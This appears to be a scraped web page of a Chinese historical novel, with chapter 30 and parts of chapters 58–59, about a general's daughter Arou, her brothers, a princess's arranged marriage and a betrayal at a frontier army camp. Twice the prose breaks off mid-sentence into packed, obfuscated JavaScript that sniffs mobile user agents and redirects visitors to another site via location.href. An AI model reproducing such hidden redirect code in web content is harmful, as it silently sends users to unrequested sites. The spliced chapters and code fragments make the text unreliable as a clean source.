戚思彦远离西北多年,幼时所展露出的种种锋芒早已被岁月磨平,取而代之的,是逐渐刻在骨子里的温柔和善。以至于无论何人,但凡与之相处,总会心生愉悦,并惊叹于他极高的品性涵养,以及待人处事的能力。 当然,戚思彦偶尔也会展露出带刺的一面——就像刚才抓到司言时的那样。 司言慌忙说道:“今日之事,是在下太过唐突,没能顾虑周全,也误了礼法。即便如此,戚大人仍旧愿意以礼相待,倒是让在下更加无地自容了。” “不用紧张,你的做法虽有些许不妥,但其实我并没有真的生气。家妹在京中没有什么朋友,有你相伴,她也不至于太过寂寞。如此说来,我倒要感谢你呢。”戚思彦说道。 司言听了,却觉得有些奇怪。在他看来,阿柔性格开朗大方,对朋友十分仗义,家世出身又好,按说不论走到哪里,都少不了愿意与之结交之人。 “阿柔不常待在京城,没有什么机会结识年龄相仿的人。”戚思彦似乎看出他神情中的疑惑,解释道,“再者,以她的性格,绝无可能融入京中富贵子弟纸醉金迷、千金一掷的生活中,拒绝了很多贵族女眷宴集的邀请。久而久之,她自然会被这个圈子的人隔绝在外。也正是因为她太过于特立独行,少不了有些碎嘴妇人,在背地里传她的不是,不过阿柔也并不在意这个就是了。” 司言不用细问,也能想象得到,京城里那些爱嚼舌根的达官贵人,大概会在私底下议论她是个没娘养的野丫头,不待在闺阁里绣花,只知道像个男人一样舞刀弄剑之类的。 司言说道:“有道是‘道不同不相为谋’,阿柔只需保持她自己的骄傲就好,无需迎合别人的眼光。” “风言风语传得最激烈的那段时日,正巧大哥回京述职,无意听到这些话,黑着一张脸,提着刀就要寻人理论,最后被我和阿柔拦下了。”戚思彦说道,“回府之后,大哥问她:‘那些人这般说你,你不生气吗?’你猜,阿柔是怎么回答的?” 司言听得入神,思考一番,认真回答道:“刀剑虽利,却对极其坚硬的铠甲徒然奈何。流言蜚语或可如刀剑一般锋利伤人,但若身处其中之人的内心如硬甲一般坚强,那些中伤之言,也不过像蚊蝇嗡嗡乱叫一般,虽然惹人厌烦,却毫无杀伤力。” 戚思彦听闻此话,轻笑了一声,“阿柔的话虽不如你花哨,但也确是其理。不过,除此之外,她还说了些别的。” 司言面露好奇之色,静静地等待下文。 随着戚思彦的描述,阿柔平和却坚定的神色仿佛近在眼前,好像内心真的不曾有一丝波澜。她对兄长们说道:“我不必为了他们的聒噪而生气,却真心实意地为他们感到悲哀。” “此话怎讲?”大哥此刻已经稍稍冷静下来了一些,挑着眉问。 “王公贵族竞相攀比功名官阶,内苑女眷总是为了男人而争风吃醋、明争暗斗。这不完全是他们的过错,而是世道的过错。” 戚思彦至今依旧记得,在听到幼妹铿锵有力地说出这番见解时,自己内心有多么震动。 “世道将人分为三六九等。对于绝大多数普通人家的男子而言,科举是唯一能够改变命运的机会,而女子只要嫁个好夫婿、好郎君,就算得上是人生圆满。但事实上,能够考取功名的只是凤毛麟角,更多的人,就算穷极一生,也难以踏入官场。穷苦人家的百姓甚至连书都读不起,又何谈改变命运?”阿柔说道,“久而久之,贵族始终是贵族,百姓始终是百姓。贵族不知百姓疾苦,仍旧过着荒淫无度的生活。” “他们今日在背后议论我,原因无非有三。”阿柔淡然地说着,好像处于议论中心的并不是她本人一般,“其一是愤怒。他们一开始接近我,拉拢我,是为了通过我来讨好阿爹和兄长。我没有功夫陪他们做戏,他们被拂了面子,心中有怨。” “其二是不解。我讨厌这世道强加给人们的无形镣铐,只想闯出一条属于自己的道路,即使为世人所不容,却也无怨无悔。他们却在无知无觉间被世道所教化,自是不能理解我的选择。” “其三,则是因为寂寞。”阿柔顿了顿,“京中王公贵族,自出生起,就被困囿于长祈城这一方天地之中,不知人间冷暖,不见山河云烟。他们沉迷声色、豪掷千金、挑弄流言,事实上,却是为了掩盖内心的空虚与寂寞罢了。家中长辈教会他们如何保有贵族的体面,却没有人告诉他们——‘尊严是自己给自己的’。因而,我在听到这些流言蜚语之时,并未感到有多生气,只是为他们感到悲哀。” …… 司言一早就知道,阿柔是个独立自主,且有思想的女子,但却未曾想到,她对于世道的思考竟已深刻至此。司言心中震颤,既为阿柔感到骄傲,又深深地感觉到自己这个俗人与她之间的差距。 戚思彦喝了一口热茶润嗓,见他神情若有所思,就知他是听进去了,“司言,你是个聪明人,定然能猜到,其实我对你是有所戒备的。” 聪明人之间说话本就不需要多绕弯子,司言大大方方地说道:“于戚大人而言,我并没有十足的动机辅佐承王夺嫡,大人怀疑我之所为的真实用意,也在情理之中。” “身为人臣,对于身份未明的人,总要多留几分心眼,还请勿怪。”戚思彦颔首致歉,“不过,我虽仍有疑虑,家妹却对你十分信任。我知道以阿柔的聪慧,分得清楚谁对她是真心,谁对她是假意,既如此,我也愿意予你同样的信任。” 司言一怔,显然没想到戚思彦会这么说。 “我猜想你此番入京,定然还有别的目的。但无论如何,你于我有恩,倘或将来需要帮忙,只要不是有损朝政、累及王府之事,我都会以个人的名义全力相助。”戚思彦温和地说道,“不知为何,我能隐约感觉到,你的肩上似乎扛着许多事。虽然你我还不甚相熟,但就算仅仅作为年龄相仿的陌生人,我也希望你可以不要被繁杂的世务所累。啊,当然,这些话都是我基于猜测说的,若有不当之处,还请见谅。” 司言顿时感到心中似有暖流淌过,站起身来,郑重地躬身行礼道:“在下发誓,将来无论处于怎样的境况,绝不会做任何有损朝纲,以及侵犯景西王府的事,绝不会辜负大人和阿柔的信任。” …… 深夜,承王府内冷清寂然,与洋溢着过年气氛的长祈城格格不入。没有灯笼高挂,没有对联窗花,似乎与平常的每一日没有任何不同。 书房里,李晁奚坐在烛台前翻看案卷。 自打西南剿匪一行归来,承王逐渐在朝堂之上显露锋芒,一夕之间,从原先那个不受圣宠、不被重用的闲散皇子,成为了如今朝中举足轻重的红人。 纵然此刻的境遇与从前大为不同,李晁奚心里却如明镜一般,深知自己只不过是皇上用以平衡党政之争、警醒怀王的一枚棋子罢了。 自古以来,帝王之家最是无情。若皇上心里真的有他这个儿子,就不会派他去主理祁照一案,更不会如此急切地提拔他。通过除掉祁照获得皇上的青睐,无异于是踩着怀王上位,怀王怎么可能咽得下这口气? 此时的繁华之景,皆为虚幻泡影,是用来迷惑他的。李晁奚不为所动,深知自己要做的事情还有很多。 外面传来敲门声,李晁奚没有抬头,只是说了一句:“进来吧。” 来人是李晁奚豢养的影卫云飏,他恭敬地禀报道:“殿 30. 云深 《照夜行》全本免费阅读 年节期间,京城仙君庙举办了一场盛大的庙会。仙君庙是由当今圣上亲自下旨修建的,举办的各种活动自然就得到了官府的大力支持。庙会当日,街市人群往来不绝,城中男女三三两两结伴而行,四处都是热热闹闹的。 传说庙中供奉的镜凌仙君可以护佑家人平安,阿柔虽然并不尽信鬼神之说,但有道是心诚则灵,祈福一事,原也是求个心安。 于是这日,戚家兄妹二人来到仙君庙,为远在西北边境的父兄祈福。 然而就在祈福之后,准备离去之时,却遇到了一个意想不到的人。 “公主殿下?”戚思彦有些讶异地说道。 来人正是当今圣上最宠爱的幼女李乐瑶,也是与戚思彦定有姻亲之人。 自打那日踏雪宴上,圣上下旨赐婚之后,这还是两人第一次私下会面。 乐瑶听到他的称呼,微微睁大了眼睛,四下张望一番,见没人注意到他们这里,方才低声说道:“外面人多口杂,可别说露馅了。” 戚思彦颔首表示会意,随即介绍道:“这位是家妹阿柔。” 阿柔行了一个女子间的平辈礼,笑道:“李小姐安好。” 乐瑶也回了一礼,内心暗叹:早前听闻,戚家三小姐不似寻常京中贵眷,只恋山泽鱼鸟、草木云烟,今日一见,虽然未曾与之相交,但若只论样貌气质,也足以见其大方磊落、超凡脱俗。 以这三个人此时的身份关系,于此处偶遇,未免有些尴尬。阿柔对这位乐瑶公主的性格也有所耳闻,知道她是在宫廷之中娇生惯养长大的,性格天真烂漫,又有些娇憨任性,和二哥简直是两个世界的人。然而就是这样性情心智都相差甚远的两个人,因为一道圣旨,被强行捆绑在一起。阿柔根本无法想象他们成婚之后该如何相处。 乐瑶先一步开口说道:“今日我来庙会祈福,没想到会在这里遇见二位。正巧我有几句话想对二公子说,二公子可否借一步说话?” 戚思彦应了公主的请求。阿柔见此情形,知趣地告退,不再打扰两个人谈话。 戚思彦的面色一如既往地温柔平静,好像这世上没有任何言语或事情能让他的情绪失控。也许恰恰是因为他身上这种温文尔雅的气质,乐瑶反而有些说不出口了,“我……” 见她实在为难,戚思彦柔声笑了一下,说道:“小姐若不知从何说起,那不妨先听在下说两句吧。” 乐瑶点了点头。 “婚姻之事,虽说是父母之命,媒妁之言,但天底下,又有几人不想与真心爱慕之人厮守到老呢?我与小姐仅有几面之缘,便被长辈定了姻亲,小姐既不知我的为人性格,又与我没有男女之情,心中忧虑,在下又岂能不知?”戚思彦说道,“在下自知一身病骨,绝非良人,又岂能无端拖累小姐?故而结亲之后,在下绝不会强迫小姐做任何不愿之事。” 乐瑶微微睁大了眼睛——戚思彦方才所说的这一番话,其实正是她想表达之意,只是碍于女孩子家面皮薄,有些难以说出口罢了。 “二公子是为了镇守大昭边疆才身受重伤、病居长祈的,是我敬重之人,又岂能说是拖累?”乐瑶公主在人前总是一副骄矜自傲的样子,很少用言辞来表达对于某人的赞赏。她很尊敬戚思彦这样的人,只是若论男女之情,那还远远谈不上。乐瑶不知道戚思彦能否理解她的意思,绞尽脑汁地想要解释些什么,“二公子,你是个真正的正人君子,只是……只是我……” 戚思彦轻轻地笑了一下,直白地说道:“只是小姐心中对我并无男女之情罢了。” 乐瑶怔愣地看向他。 戚思彦的声音很清澈、很温柔,就如同清泉一般滋润人心,“小姐,男女之情原就是强求不来的。喜欢谁,或不喜欢谁,都是你的自由,而非你的过错。相反,在我心里,你能将这些想法坦白地告知于我,就已经要付出超乎一般女子的勇气了,不必为此而感到歉疚或是难堪。父母之命虽不可违,但也并非毫无转机。待日后,皇……长辈们不再惦念此事,我们便找个机会和离,可好?” …… 阿柔自仙君庙出来之后,并不着急回家,而是逛起了庙会。 她今日身穿鹅黄色的襦裙,外披一件毛领大氅,梳了个好看的发髻,显得比平日里要俏皮动人几分。本就清丽俊俏的面容,在脂粉恰到好处的点缀,更添几分明媚艳丽——那是一种独属于少女的纯净而又鲜活的美。 阿柔不是一个喜欢把时间和精力放在穿着打扮上的人,但许是因为近来在京中停留的时日太久,闲来无事,竟也学着寻常闺阁女子那般,开始涂脂抹粉起来了。 “这位小姐,要来猜灯谜吗?全部猜对有赠品哦。” “小姐,这副簪子多衬你啊!要不要来看看?” “新鲜出炉的糖人!” “……” 阿柔独身穿行于往来不绝的街市,听着周围嘈杂喧闹的人声,却并不觉得心烦意乱。 京中贵族间皆传:戚家三小姐不喜喧闹,为人又孤高自傲,几乎从不出席官眷宴会。 事实上,阿柔疲于应付宴会是真,却并非因为不喜喧闹。只是比起费心费力地在宴会上笑意逢迎,她还是更喜欢流连于民间。阿柔喜欢看家家户户升起炉灶,烟火缭绕;喜欢看平凡的人们面上带着笑意、眼中含着希望;喜欢看夜市灯火如昼、行人摩肩接踵……只有这些时候,阿柔才能真真切切地感受到,戚家为了大昭和天下百姓所做出的一切牺牲都是值得的。 四年前,阿柔听从二哥的劝说,没有和他一起留在长祈城,而是游历四方,如一个真正的江湖侠客一般扶危济贫、惩恶扬善。她走过许多地方,知晓这世上并不全是如同长祈城一般的繁华之地,也不是所有人都能吃饱穿暖、安安稳稳地活着。快乐对于这世上的绝大多数人来说,非是一种常态,而是一种奢求,因而更显得格外珍贵。 阿柔就这样漫无目的地走着,忽而发觉身处京中最为繁华的一条街市。抬眼望去,只见面前商户顶上的牌匾上写着几个大字:风雅斋。 记忆回溯到除夕那夜,阿柔曾问司言可有喜欢之物,司言答:“我细想了想,平生所学本领,大多非是出于自愿,但倘或真有什么喜欢的事物,大概是作画吧。” 司言曾为二哥寻医赠药,这份恩情,阿柔一直记在心里。虽说之前也回过礼,阿柔却还是想要以自己的名义,亲自送他些什么,以表谢意。 念及司言曾自言喜欢绘画一事,她又恰好行至京中最大的字画行——风雅斋,便决定进去挑选一番。 比起热闹的街市,风雅斋就显得清净许多。掌柜见来了客人,匆匆上前迎接,待看清来人的面容之后,脸上笑容更深了几分,“戚三小姐?今日怎么没有和少卿大人一道来?” 戚思彦是风雅斋的常客,偶尔也会带着阿柔一起来。只是阿柔对于字画实在是一窍不通,就算是跟来了,也只会默不作声地站在一旁等候。掌柜第一次见她独自前来,不免有些惊讶。 阿柔言简意赅地道:“我想挑一幅画,赠予一位朋友。” 掌柜问道:“不知戚三小姐这位朋友偏好什么样的画作?可有喜欢的画师?” 阿柔沉默半晌,如实回答,“不知道。” 掌柜一时语塞,还想再问些别的信息,却见阿柔停下脚步,目光凝聚在展台上铺陈的一幅画作上。 阿柔不懂画,看不出其中的技法门道,只能看出画中之物是一片苍翠的密林,几只归来的倦鸟将栖未栖、悬于枝头。画作明明是死物,却显示出一种动态之美。 掌柜适时地解释道:“戚三小姐真是好眼光,这是小人最近新得的一幅画作,名为《羁鸟归林图》,出自云深先生之手。” 阿柔听到画作之名时便眼前一亮,又闻创作者之名,不由得好奇地道:“云深先生?” 掌柜说道:“戚三小姐有所不知,这位云深先生乃是当世闻名的一位文人雅士,以文采斐然著称天下,又兼具作画之能。但先生不常作画,流传于世的作品少之又少,这一幅《羁鸟归林图》,也是小人花了大价钱才得来的。” 阿柔还是好奇,“这是他的本名吗?” 掌柜又答:“‘云深先生’只是一个化名罢了,听闻先生不爱尘世凡俗,只喜山泽鱼鸟,故而常年归隐于山林之中,很少有人见其真容,甚至连年龄、祖籍也一概不知。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872596|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局,尽管人数不多,却能以一敌十。倘或不是这两日行程太过疲累,应当还要更加勇武一些。 阿柔迫切地想要找到大哥的位置,一边探寻,一边解决前仆后继向她涌来的敌兵,身上也在不自觉间多了许多密密麻麻的伤口,不断地往外渗出血来。 痛觉刺激着感官被无限放大,阿柔终于捕捉到了大哥的方位。与此同时,戚思辰也看到了她。 视线相触之间,阿柔看到了大哥眼中的惊愕与担忧。但紧接着,戚思辰便回过神来,接着投入到战局之中。 战场之上刀剑无眼,哪怕是一瞬的分神都有可能丧命,大哥一定比她更清楚这一点。 戚思辰是统御战场的将帅,从来不做没把握的事。但在此情此景之下,他选择相信自己的幼妹。 四面八方又涌上来许多敌人,阿柔的气力还没有完全恢复,逐渐有些力不从心。 她的衣服已经完全被染成了血红色,分不清楚到底是自己的血还是别人的血,手也微微颤抖起来,几乎连刀都要拿不住了。 她少时在云影派习武,云影派虽已日趋没落,却曾以剑法而闻名天下。可阿柔偏巧不爱使剑,更爱短刀。门派长老认为她心思不正,总想着走捷径,必然成不了大器,因此不怎么给她好脸色看。 而掌门花震则认为,阿柔一介女子,本就比男人瘦小,身体又较常人柔软一些,能以出其不意的角度进攻与闪避,原就更适合轻便的武器,于是便同时教授她剑法与刀法,而后又托江湖名匠为她打造了一把银色短刀,起名为红炉雪。 刀剑乃是消耗品,阿柔如今佩带的这把红炉雪早已不是当年花震送的那把,但之后每一次换刀,阿柔都会给它起同样的名字。 好将红炉一点雪,散作人间照夜灯①。 师父希望她能清醒地活在世间,成为一盏明灯,即便身处黑夜,也能为身边之人带去星火光明。 这么多年过去了,阿柔也从未忘记师父的教诲与期待。 只是如今,阿柔不得不承认一个事实:她的身形步法、短刀之术,放在激烈拼杀的战场之上,实在是太微不足道了。 阿柔潜心钻研出的一套属于自己的武学技巧,能够使她在一瞬间杀人于无形,却难以抵挡纯粹的□□对抗,更别说是在以少敌众的情况下。 有那么一瞬间,阿柔甚至有些绝望地想到:原来我的刀,并不能保护我爱的人。 阿柔堪堪避过面前三五个兵卒凌乱的剑势,正欲还手,手中银刀忽然袭来一大股力道。 阿柔心中暗道不妙,却已于事无补,红炉雪从手中划出,落在了数米之外。 她想要去捡,却被几个身形健硕的兵卒挡住,只好艰难抵挡又一轮攻势,但几乎丧失了攻击能力的阿柔已然落了下风。 就在此时,一柄长枪明晃晃地对准了她的后背,直直地刺去! “阿柔!小心!!!” 背后传来一声撕心裂肺的吼叫,那是大哥的声音。 阿柔心中大惊,急忙转身,却没能看见敌人的刀枪,而是落入了一个宽大的怀抱。 而后,她听到了长枪|刺入血肉的声音。 阿柔瞳孔蓦地放大,浑身上下的血液都冷了下来。 她颤抖着抬头,近在咫尺的不是刀剑,而是大哥满是血污的脸。 戚思辰的面部棱角分明,又总是没什么表情,常有人说他面相很凶。然而此时此刻,他苍白着脸,额上全是冷汗,难以抑制地呕出鲜血,继而又像断了线的风筝一样向下倒去,是阿柔极少见过的脆弱模样。 “大哥!!!”阿柔终于体会到,原来人在绝境之时,真的会不由自主地发出声嘶力竭的呐喊。 …… 戚思辰自幼长在西北,少时便能熟读兵书,十四岁跟着阿爹一同上了战场。十七岁那年,西北边境大乱,而后三年,戚家父子坚守西境,浴血杀敌,终于使得蛮夷俯首称臣,还边境百姓以太平,功绩彪炳千秋。戚思辰一举成为了世人眼中的英雄。 可这么多年来,他心中却始终有一个疙瘩,怎么也解不开。那就是西北边境大乱之时,幼弟阿彦为了保护他,以血肉之躯挡下沾有奇毒的暗箭,险些丧命,从此以后落下病根,再不能习武。 戚思辰是王府世子,那支暗箭本就是冲着他去的。 可后来,他成为了英雄,弟弟却只能被迫放弃习武,被迫丢弃少时上阵杀敌的梦,被迫留在京城做一枚用以牵制景西王府的筹码,不得自由。 戚思辰才是做兄长的,他本该保护弟弟妹妹才是。 所以,当他看到那柄长枪对准了阿柔的后背时,身体上下不知从哪里迸发出了巨大的力量,竟让他在一瞬间甩开了牵制住他的敌兵,赶至阿柔身后,将她护在怀中。 长枪|刺入后背的那一刹那,戚思辰竟感到无比安心。 当年阿彦为他挡下那一箭的时候,也是如此心情吗? 意识陷入黑暗之前,戚思辰忍不住想,现在的他,应当算是个合格的兄长了吧。 58. 背叛 西北大营宛如死一般的寂静。尸骨累累,血色无边。 战死的士兵横七竖八地倒在地上,面目狰狞可憎,早已看不出生前本该是什么模样。 地面上几乎已经没有下脚的地方,残余的士兵似乎也被抽干了全身的力气,面色呆滞地坐在地上,或是直勾勾地盯着某个地方,不知道在想什么,或是掩面而泣,为逝去的同伴感伤。 谢阳本想伪装成援军的模样接近西北大营,待主帅卸下防备,再打个措手不及。只是没料到阿柔将宛阳城的所见所闻尽数带回了西北大营,戚思辰对此已有准备,这才避免了更大的损失。 这一仗,西北大营胜了,却依然付出了极为惨重的代价。 无数兵卒在一夕之间惨死,不是死于赫月蛮夷,而是死于自己人之手。 最绝望的是,直至现在,他们仍旧不知道自己做错了什么,要遭受如此的背叛,甚至连自己立足于战场之上的意义都快要找不到了。 他们想不明白,他们真的想不明白。 阿柔也不明白,她明明想要保护自己的家人,为什么却总是反过来被他们保护? 她拼死传回敌情是不假,却也实实在在地成为了大哥的拖累。大哥本就重伤未愈,如今又挨了那一枪,至今仍然没能脱离危险。 是她没能看清形势,自以为不错的武学技巧,实际放在战场之上却是破绽百出。是她错估了自己对大哥的影响,造成了西北大营如今无人主持的局面。 是啊,她会拼了命地保护自己的家人,同样,大哥也会拼了命地保护她。多么简单的道理。 然而世上之事大多难料,又往往祸不单行。阿柔还没能从混沌的思绪中解脱出来,又迎来了另一个深渊。 “回来了,回来了!”外间有人在喊。 回来了?谁回来了……难道是,阿爹带着前线的士兵回来了? 想到此处,阿柔猛然站起身来,掀起营帘向外跑去。一抬眼,便看到前线士兵确实回来了。只是情形与她想象中不同,他们身上都带着大大小小的伤,面上全是愤恨与不甘,甚至有人在轻轻地啜泣…… 阿柔心下一惊,冲上前去,在人群中不断地穿行寻找。 终于,她看到了阿爹——他是被人抬回来的。 “爹!”阿柔脸色剧变,踉跄着来到戚叶临身边,看他双眼紧闭,毫无生机的样子,浑身上下被前所未有的恐惧包裹着。 楚思越站在一旁,对阿柔说道:“王爷伤得很重,须得尽快处理才是。三娘,你快去找军医来。” “好!”阿柔听了这话,便知最坏的结果还没有发生,连忙听话照做。 …… “我们遭到了突袭。”将戚叶临安置好后,楚思越对阿柔讲着过去几日发生的事情。他受的伤其实不算轻,但如今西北大营的伤员太多,相较之下,他的伤反而不算什么了。 “突袭?”阿柔皱起眉头,“是谢阳的人吗?” “不是,是哈赤努尔的人。”楚思越顿了顿,神情复杂,“但他们身上穿的,是节度使兵的铠甲。” “什么?!”阿柔大惊,“你的意思是,哈赤努尔的手下伪装成了节度使的援军?” “那个时候,你们派来前线报信的人还没到,我们也不知道谢阳怀有异心。按说援军要来前线,不可能越过西北大营,我们也不会对此一无所知,因此还是留了些心眼。只是……” 楚思越攥紧了拳头,“那帮赫月蛮夷怎么能知道节度使兵的铠甲制式,以此来假扮援军?妈|的,我们根本就没往那个方向想过!” 事实已然明了——西北大营被彻底地背叛了。 连远道节度使谢阳不知从何时起,与赫月族达成了某种协议。他们将节度使兵的铠甲制式透露给了哈赤努尔,联合起来里外突袭,试图一举击溃西北大营。 “我呸!”楚思越恶狠狠地骂着,眼眶已然湿润,声音都带着哽咽,“这算什么?这他|妈|的算什么???” 是啊,这算什么呢? 景西王镇守西北二十余年,常胜不败、功绩无双。 阿柔一早便知道,战事无常,这世上也不会有绝对不败的仗。为此,戚家上下每一个人都早有心理准备。 可将士能够死于飞沙走石的险境,能够死于饥寒交迫的窘迫,能够死于战场上刀剑无眼的拼杀,唯独没想过会死于自己人的背叛! 阿柔不知该如何形容自己此时的心情。愤怒?悲凉?绝望?亦或是这些单一的词语都远不足以囊括她此时的情绪。 空气中满是血腥与腐烂的味道。阿柔感到自己的血液冷了下来,她木然地看着西北大营中来来往往的残兵,看着地面上以各种诡异的姿势交错在一起的死尸,突然觉得一阵恶心。 她猛地站起身来,跑到一旁的角落,一手撑着营帐,艰难地干呕起来。几天没能好好进食,她的胃里空空如也,根本吐不出一点东西来。 “三娘!”楚思越担忧地叫住她。 阿柔痛苦地皱起眉头,好不容易止住了那股恶心的劲儿,身形依然止不住地颤抖着。 “三娘,你……”楚思越走上前去,想要查看她的情况。可当目光落在阿柔面庞上时,他却怔愣住了。 阿柔在哭。 阿柔捂着嘴,用尽全身力气想要克制住哭泣的欲望,泪水却无法控制地从眼眶中淌出,连带着发出几声压抑的呜咽。 阿柔厌恶极了此时此刻无能为力的自己,她在心里不住地质问—— 戚雪柔,你为什么要哭? 是因将士的枉死而悲伤?是因国人的背叛而愤怒?还是因前所未有的困境而恐惧? 可是……哭有什么用? 戚雪柔,你是来做什么的?你究竟是来做什么的??? 阿柔想起当日,她曾信誓旦旦地向阿爹和大哥保证,留在此处绝不会拖他们的后腿,平日里也能帮着军医营的医官们救治伤兵。 那么现在呢,戚雪柔?你是否信守了你的承诺?你是否成为了一个有用的人?你是否问心无愧? 你是否……配得上景西王之女的身份? “是啊……”阿柔喃喃自语,“我还有事情要去做……” 阿柔用衣袖抹了一把眼泪,迎上楚思越担忧的目光,“楚将军,如今王爷和世子重伤未醒,西北大营该由你这个副将撑起全局,要做的事情还有很多,没有时间让我们谴责叛徒了。” 楚思越深吸了一口气,说道:“你说得对。” “王爷和世子由我来照看,楚将军且先料理营中事务,待整顿好秩序后,再行决定下一步的打算。”阿柔说道。 楚思越闻言,向她行了一礼,随即便依言行动起来,走之前深深地看了她一眼。 待楚思越离开后,阿柔进入主帅营帐。 阿柔一向尊敬崇拜,将其视为依靠的阿爹和大哥,在西北大营最为危急的时刻,双双倒下了。 医官告诉阿柔,戚思辰伤得要比戚叶临更重一些——当时那柄长枪若是再偏上毫厘,刺中的可就是心脏。再加上戚思辰先前本就受过一次重伤,情况更加不容乐观,至今仍然没能脱离危险。 相较之下,戚叶临受的伤就较轻一点。但他毕竟已经过了身强力壮的青年时期,身子骨早已不复当年那般硬朗,恢复得还是慢了些。如今虽已没有了性命之忧,清醒的时间却少之又少。 阿柔郑重地对医官道:“辛苦您了。” 那医官摇了摇头,对她行了一礼,“外间还有许多伤兵未曾医治,王爷和世子爷就拜托三娘子了。倘若有情况,三娘子可随时叫我。” 阿柔点了点头,医官先行离开了。 西北大营遭受重创,军医营虽有专门的兵力进行保护,但营内伤亡太过惨重,众多医官已经好几夜未曾合眼。即便如此,每日因治疗不及时而伤情加重,乃至于死亡的人数依旧比比皆是。 接下来的几天,阿柔承担起了看护父兄的职责,顺带帮着营中其他伤兵煎制汤药、处理伤口,有时还会帮着楚思越做一些文书工作。 某日夜晚,阿柔点了灯坐在桌案前,在纸上算着西北大营剩余物资所能支撑的时日。 算着算着,她忽然听到床榻那边有些细微的动静,循着方向望去,就看到阿爹已经醒了过来,正看着她。 “爹。”阿柔放下笔,连忙来到床边,握住戚叶临粗粝的手,“你终于醒了。” 戚叶临回握住她,哑着嗓子唤道:“柔儿……” 阿柔回应道:“嗯,爹,我在呢。” 戚叶临刚才醒过来,费了好些功夫回想先前所发生的一切,想起哈赤努尔的手下扮作节度使兵的模样,骗过了值守的哨兵,向他们发起突袭。他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889807|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不再一次面对西北大营遭到背叛的事实。 戚叶临看着小女儿眼中的血丝,以及眼下的乌青,忍不住一阵心疼,“柔儿,受委屈了吧。” “不委屈,爹。”阿柔强忍着心中酸涩,“只要你和大哥好好的,就好。” “你大哥呢?” 阿柔伸手指了指,戚叶临的眼光顺着她手指的方向,看到了躺在另一张床上的戚思辰。 还未等戚叶临说些什么,阿柔便先一步说道:“大哥是为了救我,才受了重伤。” 戚叶临察觉到她语气中的愧疚与难过,说道:“他是哥哥,保护你,原是应当的。” 阿柔摇了摇头,似乎并不能完全认可这句话。但她到底没有多说什么,而是起身吩咐外间值守的兵士去将军医和楚副将唤来。 …… 医官前来察看戚叶临的身体情况,表示他正如预期一样慢慢恢复中,没有出什么岔子。而后开了几副药,又嘱托了几句便先行离开了。 阿柔和随后赶来的楚思越将他昏睡这几日来营中的情况都尽数禀报了一遍。 戚叶临的面色有些凝重,听完楚思越的禀告之后,说道:“你做的不错,战事之后及时整顿风纪,安排任务,严禁聚众闲聊,以防谣言滋生,惑乱军心,最大程度地减少了战后损耗,不愧是我选中的副将。” “王爷,末将惭愧。倘若不是三娘及时提醒,末将怕是也要消沉一段时日。”楚思越说道。 戚叶临不免有些意外。他知道楚思越的心性一向纯良质朴,绝不是附庸权贵、心口不一之人。这样的人,若要夸赞谁,必然是出于真心,而非客套之言。 看来在他昏迷的日子,阿柔的确承担了不少责任…… 想到此处,戚叶临当真是又骄傲又心疼。 “楚思越。”戚叶临叫道。 “末将在。” “从明日起开始准备。”戚叶临淡淡地道,“我们进军宛阳。” 阿柔闻言并没有什么反应,似乎一早便猜到戚叶临会下这样的命令。 相较之下,楚思越就显得错愕不已,“王爷,大营伤亡惨重,还需要时间休整。阿柔也算过了,营中粮草物资还足以支撑一段时日,何必如此心急?” 戚叶临并未直接回答,而是看向一旁的阿柔,说道:“柔儿,你觉得呢?” 阿柔回答道:“我支持阿爹。” 楚思越更加不解了,“这是为何?” 阿柔看向戚叶临,见他没有开口说话的意思,便说道:“如今谢阳占据着宛阳城,将我们拒之门外,卡在进退两难的境地。他甚至不必亲自动手,只需把我们耗在这里,要么因物资耗尽而死,要么被哈赤努尔的兵力清剿干净。若不能尽快夺回宛阳城,迟早是死路一条。” “这我也知道,只是……将士们都伤得很严重,王爷和世子爷也重伤未愈,当真要如此心急冒进吗?”楚思越仍然有所顾虑。 “楚副将,这不是心急冒进,而是唯一的办法。”阿柔摇了摇头,解释道,“若是可以,没人愿意打没准备好的仗。只是哈赤努尔既已和谢阳勾结,应当能够知晓西北大营此刻的惨状。若他们此时攻来,我们将毫无还手之力。此地待得越久,就越是危险。” “再者,那日大营遇袭,对方虽然兵力众多,却远不如西北铁骑训练有素。我们伤亡惨重,他们同样是一帮残兵败将。若不趁此时进攻,同样是给他们喘息的机会。届时他们据守城池而不出,背后又是广袤的大昭国土,更不缺资源补给,我们要如何与之一战?倒不如在他们毫无防备之时突然袭击,胜算更高。” 楚思越被她这一番话说得心中动摇,“原来如此……王爷和三娘当真是心思缜密,是末将考虑不周。既是如此,末将领命。” “你能明白便好。”戚叶临终于开口说道,“但是军令一下,必定会引来众多质疑,若是处理不当,兴许会引发成内乱割据。楚思越,如今西北大营的诸多事务皆由你代理,你需要好好地思考一番,该如何执行这项决策。” “是。”楚思越郑重地回答。 “还有一事。”戚叶临补充,”虽已决定进军宛阳,但我们手上没有攻城器具,若是靠蛮力拼杀,只怕连城门都进不去。若无谋略,只有孤勇,要想夺回宛阳,也只是痴人说梦。而这具体的策略,我需要你们两个好好想一想。” 59. 起兵 楚思越还有许多事务要去处理,先行一步离开了。一时间,帐内只剩下戚家几人。 下属不在,戚叶临的神情姿态也松弛了几分,颇有些欣慰地道:“想不到柔儿如此聪慧通透。” 